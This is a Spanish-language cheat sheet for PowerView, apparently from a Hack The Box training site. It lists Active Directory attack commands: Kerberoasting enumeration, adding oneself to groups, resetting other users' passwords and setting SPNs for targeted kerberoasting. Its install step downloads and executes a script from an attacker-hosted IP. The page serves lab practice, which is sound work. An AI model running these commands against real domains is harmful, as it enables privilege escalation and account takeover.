PowerView
PowerView es el equivalente en PowerShell de bloodyAD y de las consultas de BloodHound. Desde una shell en Windows (Evil-WinRM) te deja enumerar y explotar ACL sin sacar el tráfico fuera, pasando credenciales con -Credential.
- Plataforma
- Windows (PowerShell)
- En HTB
- 4 máquinas
Instalación
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')
- T1087.002 Cuentas del dominio
- T1069.002 Grupos del dominio
- T1098 Manipulación de cuentas
- T1482 Descubrimiento de confianzas entre dominios
- T1558.003 Kerberoasting
- Enumeración LDAP/RPC del dominio
- Abuso de ACLs (BloodHound)
- Kerberoasting
- Relaciones de confianza entre dominios
Chuleta de PowerView
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Enumerar
Usuarios con SPN (kerberoastables)
Víctima
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
ACL interesantes del dominio
Víctima
Find-InterestingDomainAcl -ResolveGUIDs
Confianzas del dominio
Víctima
Get-DomainTrust
Abusar de las ACL
Credencial del usuario que controlas
Víctima
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('box.htb\usuario', $pass)
Añadirte a un grupo
Víctima
Add-DomainGroupMember -Identity 'NOMBRE DEL GRUPO' -Members 'usuario' -Credential $cred
Cambiar la contraseña de otro usuario
Víctima
Set-DomainUserPassword -Identity victima -AccountPassword (ConvertTo-SecureString 'NuevaClave123!' -AsPlainText -Force) -Credential $cred
Poner un SPN para kerberoastearlo (targeted kerberoasting)
Víctima
Set-DomainObject -Identity victima -Set @{serviceprincipalname='pwn/pwn'} -Credential $cred
Ningún comando coincide.
Máquinas de HTB donde se usa PowerView
Sacadas de los capítulos de los vídeos de IppSec en los que aparece PowerView. El enlace ▶ salta al minuto de esa parte.